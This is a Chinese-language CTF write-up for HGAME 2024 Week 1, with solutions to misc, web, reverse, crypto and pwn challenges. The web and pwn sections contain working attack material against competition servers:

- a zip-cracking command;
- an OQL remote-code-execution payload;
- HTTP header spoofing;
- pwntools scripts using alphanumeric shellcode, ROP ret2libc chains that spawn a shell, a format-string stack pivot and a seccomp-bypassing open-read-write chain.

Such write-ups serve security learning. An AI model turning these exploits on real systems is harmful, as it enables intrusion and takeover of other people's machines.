Week1

目录

Misc

来自星尘的问候

1
2
hgame{welc0me!}

希儿希儿希尔

crc修复

lsb隐写

hill加密

1
CVOCRJGMKLDJGBQIUIVXHEYLPNWR

1
DISAPPEARINTHESEAOFBUTTERFLY

simple-attack

zip明文攻击

1
2
./bkcrack -C /Users/zhou39512/CTF/HGAME2024/Week1/Misc/simple_attack/src/attachment.zip -c 103223779_p0.jpg -P /Users/zhou39512/CTF/HGAME2024/Week1/Misc/simple_attack/src/src.zip -p 103223779_p0.jpg

生成新密码为123的zip

1
./bkcrack -C /Users/zhou39512/CTF/HGAME2024/Week1/Misc/simple_attack/src/attachment.zip -c 103223779_p0.jpg -k e423add9 375dcd1c 1bce583e -U new_zip_123.zip 123

解压得到

Web

Bypass it

不给注册,直接向register.php发请求就能注册成功

ezHTTP

1
2
3
4
X-real-Ip: 127.0.0.1
Referer:vidar.club
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0

1
hgame{HTTP_!s_1mP0rT4nt}

Select Courses

无大语,有人随机退课,一直选课就行,总能选到

1
hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}

2048*16

js混淆

搜索won定位到关键处

直接所有代码复制

打印t

jhat

OQL RCE

1
2
3
4
5
6
7
8
a=java.lang.Runtime.getRuntime().exec('cat /flag').getInputStream();
b=new java.io.InputStreamReader(a);
c=new java.io.BufferedReader(b);
while(c.ready()){
d+=c.readLine()+' ';
}


Re

ezPYC

pycdas反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
[Code]
File Name: ezPYC.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 5
Flags: 0x00000000
[Names]
'flag'
'c'
'input'
'range'
'i'
'ord'
'print'
'exit'
[Locals+Names]
[Constants]
(
87
75
71
69
83
121
83
125
117
106
108
106
94
80
48
114
100
112
112
55
94
51
112
91
48
108
119
97
115
49
112
112
48
108
100
37
124
2
)
(
1
2
3
4
)
'plz input flag:'
0
36
1
4
'Sry, try again...'
'Wow!You know a little of python reverse'
None
[Disassembly]
0 RESUME 0
2 BUILD_LIST 0
4 LOAD_CONST 0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
6 LIST_EXTEND 1
8 STORE_NAME 0: flag
10 BUILD_LIST 0
12 LOAD_CONST 1: (1, 2, 3, 4)
14 LIST_EXTEND 1
16 STORE_NAME 1: c
18 PUSH_NULL
20 LOAD_NAME 2: input
22 LOAD_CONST 2: 'plz input flag:'
24 PRECALL 1
28 CALL 1
38 STORE_NAME 2: input
40 PUSH_NULL
42 LOAD_NAME 3: range
44 LOAD_CONST 3: 0
46 LOAD_CONST 4: 36
48 LOAD_CONST 5: 1
50 PRECALL 3
54 CALL 3
64 GET_ITER
66 FOR_ITER 62 (to 192)
68 STORE_NAME 4: i
70 PUSH_NULL
72 LOAD_NAME 5: ord
74 LOAD_NAME 2: input
76 LOAD_NAME 4: i
78 BINARY_SUBSCR
88 PRECALL 1
92 CALL 1
102 LOAD_NAME 1: c
104 LOAD_NAME 4: i
106 LOAD_CONST 6: 4
108 BINARY_OP 6 (%)
112 BINARY_SUBSCR
122 BINARY_OP 12 (^)
126 LOAD_NAME 0: flag
128 LOAD_NAME 4: i
130 BINARY_SUBSCR
140 COMPARE_OP 3 (!=)
146 POP_JUMP_FORWARD_IF_FALSE 21 (to 190)
148 PUSH_NULL
150 LOAD_NAME 6: print
152 LOAD_CONST 7: 'Sry, try again...'
154 PRECALL 1
158 CALL 1
168 POP_TOP
170 PUSH_NULL
172 LOAD_NAME 7: exit
174 PRECALL 0
178 CALL 0
188 POP_TOP
190 JUMP_BACKWARD 63
192 PUSH_NULL
194 LOAD_NAME 6: print
196 LOAD_CONST 8: 'Wow!You know a little of python reverse'
198 PRECALL 1
202 CALL 1
212 POP_TOP
214 LOAD_CONST 9: None
216 RETURN_VALUE
1
87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2

异或1,2,3,4

1
VIDAR{Python_R3vers3_1s_1nter3st1ng!}

Crypto

ezRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)

print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')

"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""

$$
\begin{align}
p^q\mod pq=leak_1\\
p^q-kpq=leak_1\\
p(p^{q-1}-kq)=leak_1\\
\end{align}
$$

经检验leak均为素数,说明leak即为p和q

1
hgame{F3rmat_l1tt1e_the0rem_is_th3_bas1s}

ezMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
from secret import flag,y,x
def pad(x):
return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
encrypted =cipher.encrypt(flag)
return encrypted
D = 114514
assert x**2 - D * y**2 == 1
flag=pad(flag)
key=pad(long_to_bytes(y))[:16]
enc=encrypt(key)
print(f'enc={enc}')
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

连分数解佩尔方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
def pell (D):
"""Return the smallest integer set solving Pell equation
x^2-D*y^2=1 where x, D and y are positive integers. If there are no
solution (D is a square), return None.>>> pell(3)
(2, 1)
"""
a0 = int (D**0.5)
if a0*a0 == D: return None
gp = [0, a0]
gq = [1, D-a0**2]
a = [a0, int((a0+gp[1])/gq[1])]
p = [a[0], a[0]*a[1]+1]
q = [1, a[1]]
maxdepth = None
n = 1
while maxdepth is None or n < maxdepth:
if maxdepth is None and a[-1] == 2*a[0]:
r = n-1
if r % 2 == 1: return p[r], q[r]
maxdepth = 2*r+1
n += 1
gp.append (a[n-1]*gq[n-1]-gp[n-1])
gq.append ((D-gp[n]**2)//gq[n-1])
a.append (int ((a[0]+gp[n])//gq[n]))
p.append (a[n]*p[n-1]+p[n-2])
q.append (a[n]*q[n-1]+q[n-2])
return p[2*r+1], q[2*r+1]

def pad(x):
return x+b'\x00'*(16-len(x)%16)


if __name__ == '__main__':
x,y=pell(114514)
key = pad(long_to_bytes(y))[:16]
cipher= AES.new(key,AES.MODE_ECB)
enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"
flag=cipher.decrypt(enc)
print(flag)

#hgame{G0od!_Yo3_k1ow_C0ntinued_Fra3ti0ns!!!!!!!}

ezPRNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
import uuid
def PRNG(R,mask):
nextR = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
nextbit=0
while i!=0:
nextbit^=(i%2)
i=i//2
nextR^=nextbit
return (nextR,nextbit)

R=str(uuid.uuid4())
flag='hgame{'+R+'}'
print(flag)
R=R.replace('-','')
Rlist=[int(R[i*8:i*8+8],16) for i in range(4)]

mask=0b10001001000010000100010010001001
output=[]
for i in range(4):
R=Rlist[i]
out=''
for _ in range(1000):
(R,nextbit)=PRNG(R,mask)
out+=str(nextbit)
output.append(out)

print(f'output={output}')

目标是恢复R

一位一位往前推就可以

1
2
3
爆破位-┐                           res-┐
v v
? 1111110110111011110000101011010 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
output = [
'1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010',
'0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001',
'1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001',
'0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']
mask = 0b10001001000010000100010010001001


def PRNG(R, mask):
nextR = (R << 1) & 0xffffffff
i = (R & mask) & 0xffffffff
nextbit = 0
while i != 0:
nextbit ^= (i % 2)
i = i // 2
nextR ^= nextbit
return (nextR, nextbit)


for i in output:
a = i[:31]
res = int(i[31])
uid=''
for _ in range(32):
if PRNG(int('1' + a, 2), mask)[1] == res:
uid='1'+uid
a='1'+a
else:
uid='0'+uid
a='0'+a
res=int(a[-1])
a=a[:-1]
print(hex(int(uid,2))[2:],end=' ')

奇怪的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import time

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets


flag = "hgame{fake_flag}"


def generate_random_image(width, height):
image = Image.new("RGB", (width, height), "white")
pixels = image.load()
for x in range(width):
for y in range(height):
red = random.randint(0, 255)
green = random.randint(0, 255)
blue = random.randint(0, 255)
pixels[x, y] = (red, green, blue)
return image


def draw_text(image, width, height, token):
font_size = random.randint(16, 40)
font = ImageFont.truetype("arial.ttf", font_size)
text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
x = random.randint(0, width - font_size * len(token))
y = random.randint(0, height - font_size)
draw = ImageDraw.Draw(image)
draw.text((x, y), token, font=font, fill=text_color)
return image


def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image


def generate_unique_strings(n, length):
unique_strings = set()
while len(unique_strings) < n:
random_string = secrets.token_hex(length // 2)
unique_strings.add(random_string)
return list(unique_strings)


random_strings = generate_unique_strings(len(flag), 8)


current_image = generate_random_image(120, 80)
key_image = generate_random_image(120, 80)

def random_time(image, name):
time.sleep(random.random())
image.save(".\\png_out\\{}.png".format(name))

for i in range(len(flag)):
current_image = draw_text(current_image, 120, 80, flag[i])
threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()

相当于把flag一个个写在图片中,然后和一个key进行异或

取任意一张图片(不考虑第一张和最后一张)和其他图片异或,一定会出现两张图片仅有一个字符

这两个字符一定分别是前一个字符和后一个字符

所以,排列异或之后慢慢看就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import copy
import os
import pytesseract
from PIL import Image, ImageDraw, ImageFont
def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image

def count_black_pixels(image1):
count=0
pixels1 = image1.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
if pixels1[x, y]==(0,0,0):
count+=1
return count

files=os.listdir('png_out')
print(files)


for j in files:
a=Image.open(f'png_out/{j}','r')
images_dict = {}
for ind,i in enumerate(files):
b=Image.open(f'png_out/{i}','r')
c=xor_images(a,b)
black_pixels_num=count_black_pixels(c)
images_dict[ind]={'image':copy.copy(c),'black_pixels_num':black_pixels_num,'filename':i}
os.mkdir(j)
for i in images_dict.values():
image=i['image']
image.save(f"{j}/xor_{i['filename']}.png")
#print(content)

#hgame{1adf_17eb_803c}

Pwn

ezshellcode

myread限制了shellcode必须为字母数字

amd64的

报错解决

x64的

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ae64 import AE64
p=remote('47.100.137.175',30959)
context(os='linux', arch='amd64')
obj=AE64()
shellcode=obj.encode(asm(shellcraft.sh()),'rax')
print(shellcode)
p.sendlineafter(b'input the length of your shellcode:',b'-1')
p.sendafter(b'input your shellcode:',shellcode)
p.interactive()

Elden Random Challenge

pwn随机数模版题目+libc泄漏基址

猜对了会给一个栈溢出的点

ctypes包的cdll.LoadLibrary(‘

’)可以在在脚本中加载动态库,同时又能调用库中的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('./libc.so.6')
p = remote('47.100.137.175',31178)
libc.srand(c_uint(libc.time(0)))
p.sendlineafter(b'Menlina: Well tarnished, tell me thy name.',b'jok')
for i in range(99):
r=libc.rand()%100+1
print(r)
p.sendafter(b'Please guess the number:',p64(r))

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('./libc.so.6')
p = remote('47.100.137.175',31058)
libc.srand(c_uint(libc.time(0)))
p.sendlineafter(b'Menlina: Well tarnished, tell me thy name.',b'jok')
for i in range(99):
r=libc.rand()%100+1
print(r)
p.sendafter(b'Please guess the number:',p64(r))
pop_rdi_addr=0x401423
puts_got_addr=0x404018
puts_plt_addr=0x4010b0
myread_addr=0x40125d
ret_addr=0x40101a
puts_offset=0x084420
sys_offset=0x052290
sh_offset=0x1b45bd
#泄漏
payload= b'A'*0x38+p64(ret_addr)+ p64(pop_rdi_addr)+p64(puts_got_addr) + p64(puts_plt_addr) + p64(myread_addr)
p.sendlineafter(b'reward to thy brilliant mind',payload)
p.recvline()
libc_base_addr=u64(p.recvline()[:-1].ljust(8,b'\x00'))-puts_offset
print(hex(libc_base_addr))
#getshell
payload=b'A'*0x38+p64(ret_addr)+p64(pop_rdi_addr)+p64(sh_offset+libc_base_addr)+p64(sys_offset+libc_base_addr)
p.sendline(payload)
p.interactive()


ezfmt string

限制了格式化字符串的输入

而且给了后门了

%d 有符号32位整数

%u 无符号32位整数

%lld 有符号64位整数

%llx有符号64位16进制整数

只有一次的格式化字符串的机会

提到了一种使用格式化字符串漏洞使程序无限循环的操作

程序退出会调用finiarray

查看_fini_array

直接覆盖为后门函数就行

但是这题似乎不行

直接抽奖然后栈迁移,控制rbp上来

概率还可以,1/16

1
2
3
4
5
6
7
8
9
from pwn import *
backdoor_addr=0x40123d
while True:
sleep(0.5)
p = remote('47.102.130.35', 31292)
payload=f'%{0x08}c%18$hhnAAAAAA'.encode()+p64(backdoor_addr)
p.sendlineafter(b'make strings and getshell',payload)
p.interactive()
p.close()

Elden Ring Ⅰ

可以使用seccomp-tools来检查

这个文件链接库有点问题,patch一下

1
2
patchelf --set-interpreter ~/Pwn/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so vuln 

1
2
seccomp-tools dump ./vuln

execveexecveat都不能用

1
rdi,rsi,rdx

泄露出libc基地址后,使用libc中的gadget控制参数

使用ret2csu

__libc_csu_init函数中有两段可以利用的代码段

具体利用看链接

这里ret2csu不好打,就直接orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p=remote('47.100.245.185',32384)
libc=ELF('./libc.so.6')
puts_got_addr=0x404028
puts_plt_addr=0x4010c0
pop_rdi_addr=0x4013e3
ret_addr=0x40101a
push_rsp_offset=0x0422bd
puts_offset=libc.sym['puts']
open_offset=libc.sym['open']
read_offset=libc.sym['read']
write_offset=libc.sym['write']
pop_rsi_offset=0x02601f
pop_rdx_offset=0x142c92
vuln_addr=0x40125b
def expandLeak(payload):
#利用read扩大溢出
global pop_rdx_offset,libc_base,ret_addr,read_offset,vuln_addr
prePayload = b'a' * 0x108 + p64(pop_rdx_offset + libc_base) + p64(0x1fff) + p64(ret_addr) + p64(read_offset + libc_base)
p.sendlineafter(b'I offer you an accord.\n', prePayload)
p.sendline(b'a'*0x108 + b'a'*8*4+payload)
context(os='linux',arch='amd64',log_level='debug')

#泄漏libc
payload=b'a'*0x108+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(vuln_addr)
p.sendlineafter(b'I offer you an accord.\n',payload)
p.recvline()
libc_base= u64(p.recvline()[:-1].ljust(8, b'\x00')) - puts_offset

#泄露栈地址
payload=p64(pop_rdi_addr) + p64(1) + p64(pop_rdx_offset+libc_base) + p64(0x198) + p64(write_offset+libc_base)+p64(vuln_addr)
expandLeak(payload)
p.recvline()
p.recvn(0x190)
stack_base=u64(p.recvn(8))-0x1a8
print(hex(stack_base))

#布置open
payload=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_offset+libc_base)+p64(stack_base)+p64(pop_rdx_offset+libc_base)+p64(0x300)+p64(write_offset+libc_base)+p64(vuln_addr)
expandLeak(payload)

payload=p64(pop_rdi_addr)+p64(stack_base+0x1d0)+p64(pop_rsi_offset+libc_base)+p64(0)+p64(pop_rdx_offset+libc_base)+p64(0)+p64(ret_addr)+p64(open_offset+libc_base)
#用来确定字符串偏移payload=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_offset+libc_base)+p64(stack_base+0x1d0)+p64(pop_rdx_offset+libc_base)+p64(0x300)+p64(ret_addr)+p64(write_offset+libc_base)
payload+=p64(vuln_addr)
payload+=b'flag\x00\x00\x00\x00'
expandLeak(payload)

#read&write
payload=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_offset+libc_base)+p64(stack_base)+p64(pop_rdx_offset+libc_base)+p64(60)+p64(read_offset+libc_base)
payload+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_offset+libc_base)+p64(stack_base)+p64(pop_rdx_offset+libc_base)+p64(60)+p64(write_offset+libc_base)
payload+=p64(vuln_addr)
expandLeak(payload)

#getflag
print(p.recvall(timeout=2))
p.interactive()